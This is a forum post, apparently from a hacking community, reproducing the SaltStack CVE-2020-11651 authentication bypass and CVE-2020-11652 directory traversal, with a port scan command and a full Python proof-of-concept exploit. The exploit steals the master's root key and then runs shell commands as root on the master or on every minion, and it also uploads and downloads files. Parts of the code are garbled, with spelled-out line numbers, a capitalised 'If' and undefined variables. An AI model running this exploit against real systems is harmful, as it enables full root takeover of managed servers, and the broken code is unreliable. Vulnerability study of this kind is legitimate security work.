Jump to content

Title: SaltStack remote command execution vulnerability recurrence (CVE-2020-11651)

Featured Replies

Posted

SaltStack 远程命令执行漏洞复现(CVE-2020-11651)

SaltStack 简介

SaltStack is a set of C/S architecture configuration management tools developed based on Python. It is a centralized management platform for server infrastructure. It has configuration management, remote execution, monitoring and other functions. It is implemented based on the Python language and is built with lightweight message queues (ZeroMQ) and Python third-party modules (Pyzmq, PyCrypto, Pyjinjia2, python-msgpack and PyYAML, etc.).

Salt is used to monitor and update server status. Each server runs an agent called minion that connects to the master host, the salt installer, which collects status reports from Miniions and publishes update messages that Miniions can perform actions on. Typically, such messages are updates to the selected server configuration, but they can also be used to run the same command in parallel on multiple (or even all) managed systems.

The default communication protocol in salt is ZeroMQ. The primary server exposes two ZeroMQ instances, one called a request server, where the minion can connect to report its status (or command output), and the other is called a publish server, where the primary server can connect to and subscribe to these messages.

漏洞详情

影响版本

SaltStack 2019.2.4 SaltStack 3000.2

漏洞细节

身份验证绕过漏洞(CVE-2020-11651)

The ClearFuncs class does not restrict the _send_pub() method when handling authorization. This method can directly publish queue messages. The published messages will execute commands through root identity permissions. ClearFuncs also exposes the _prep_auth_info() method, through which the root key can be obtained, and the obtained root key can be used to remotely call the command on the main service.

The

目录遍历漏洞(CVE-2020-11652)

The well module contains commands for reading and writing files in a specific directory. The information entered in the function is spliced with the directory to bypass directory restrictions.

The get_token() method in the salt.tokens.localfs class (callable by the ClearFuncs class without authorization) cannot delete the entered parameters and is used as a file name, and files outside the target directory are read in the path by splicing . The only limitation is that the file must be deserialized via salt.payload.Serial.loads() .

漏洞复现

nmap 探测端口

1

nmap -sV -p 4504,4506 IP

20200513165628.png-water_print

exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

#!/usr/bin/env python3

import argparse

import datetime

import os

import pip

import sys

import warnings

def install(package):

if hasattr(pip, 'main'):

pip.main(['install', package])

else:

pip._internal.main(['install', package])

try:

import salt

import salt.version

import salt.transport.client

import salt.exceptions

except:

install('distro')

install('salt')

def ping(channel):

message={

'cmd':'ping'

}

try:

response=channel.send(message, timeout=5)

if response:

return True

except salt.exceptions.SaltReqTimeoutError:

pass

return False

def get_rootkey(channel):

message={

'cmd':'_prep_auth_info'

}

try:

response=channel.send(message, timeout=5)

for i in response:

if isinstance(i,dict) and len(i)==1:

rootkey=list(i.values())[0]

return rootkey

except:

pass

return False

def minion(channel, command):

message={

'cmd': '_send_pub',

'fun': 'cmd.run',

'arg': ['/bin/sh -c \'{command}\''],

'tgt': '*',

'ret': '',

'tgt_type': 'glob',

'user': 'root',

'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()),

'_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow())

}

try:

response=channel.send(message, timeout=5)

if response==None:

return True

except:

pass

return False

def master(channel, key, command):

message={

'key': key,

'cmd': 'runner',

'fun': 'salt.cmd',

'kwarg':{

'fun': 'cmd.exec_code',

'lang': 'python3',

'code': f'import subprocess;subprocess.call(\'{command}\',shell=True)'

},

'user': 'root',

'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()),

'_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow())

}

try:

response=channel.send(message, timeout=5)

log('[ ] Response: ' + str(response))

except:

return False

def download(channel, key, src, dest):

message={

'key': key,

'cmd': 'wheel',

'fun': 'file_roots.read',

'path': path,

'saltenv': 'base',

}

try:

response=channel.send(message, timeout=5)

data=response['data']['return'][0][path]

with open(dest, 'wb') as o:

o.write(data)

return True

except:

return False

def upload(channel, key, src, dest):

try:

with open(src, 'rb') as s:

data=s.read()

except Exception as e:

print(f'[ ] Failed to read {src}: {e}')

return False

message={

'key': key,

'cmd': 'wheel',

'fun': 'file_roots.write',

'saltenv': 'base',

'data': data,

'path': dest,

}

try:

response=channel.send(message, timeout=5)

return True

except:

return False

def log(message):

if not args.quiet:

print(message)

if __name__=='__main__':

warnings.filterwarnings('ignore')

desc='CVE-2020-11651 PoC'

parser=argparse.ArgumentParser(description=desc)

parser.add_argument('--host', '-t', dest='master_host', metavar=('HOST'), required=True)

parser.add_argument('--port', '-p', dest='master_port', metavar=('PORT'), default='4506', required=False)

parser.add_argument('--execute', '-e', dest='command', default='/bin/sh', help='Command to execute. Defaul: /bin/sh', required=False)

parser.add_argument('--upload', '-u', dest='upload', nargs=2, metavar=('src', 'dest'), help='Upload a file', required=False)

parser.add_argument('--download', '-d', dest='download', nargs=2, metavar=('src', 'dest'), help='Download a file', required=False)

parser.add_argument('--minions', dest='minions', default=False, action='store_true', help='Send command to all minions on master', required=False)

parser.add_argument('--quiet', '-q', dest='quiet', default=False, action='store_true', help='Enable quiet/silent mode', required=False)

parser.add_argument('--fetch-key-only', dest='fetchkeyonly', default=False, action='store_true', help='Only fetch the key', required=False)

args=parser.parse_args()

minion_config={

'transport': 'zeromq',

'pki_dir': '/tmp',

'id': 'root',

'log_level': 'debug',

'master_ip': args.master_host,

'master_port': args.master_port,

'auth_timeout': 5,

'auth_tries': 1,

'master_uri': f'tcp://{args.master_host}:{args.master_port}'

}

clear_channel=salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

log(f'[+] Attempting to ping {args.master_host}')

If not ping(clear_channel):

log('[-] Failed to ping the master')

log('[+] Exit')

sys.exit(1)

log('[+] Attempting to fetch the root key from the instance.')

rootkey=get_rootkey(clear_channel)

if not rootkey:

log('[-] Failed to fetch the root key from the instance.')

sys.exit(1)

log('[+] Retrieved root key: ' + rootkey)

if args.fetchkeyonly:

sys.exit(1)

if args.upload:

log(f'[+] Attemping to upload {src} to {dest}')

if upload(clear_channel, rootkey, args.upload[0], args.upload[1]):

log('[+] Upload done!')

else:

log('[-] Failed')

if args.download:

log(f'[+] Attemping to download {src} to {dest}')

if download(clear_channel, rootkey, args.download[0], args.download[1]):

log('[+] Download done!')

else:

log('[-] Failed')

if args.minions:

log('[+] Attempting to send command to all minions on master')

if not minion(clear_channel, command):

log('[-] Failed')

else:

log('[+] Attempting to send command to master')

if not master(clear_channel, rootkey, command):

log('[-] Failed')

漏洞利用

Read root key to detect whether there is a vulnerability :

20200513165917.png-water_print

Directory traversal

20200513165951.png-water_print

Command execution

20200513170014.png-water_print

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.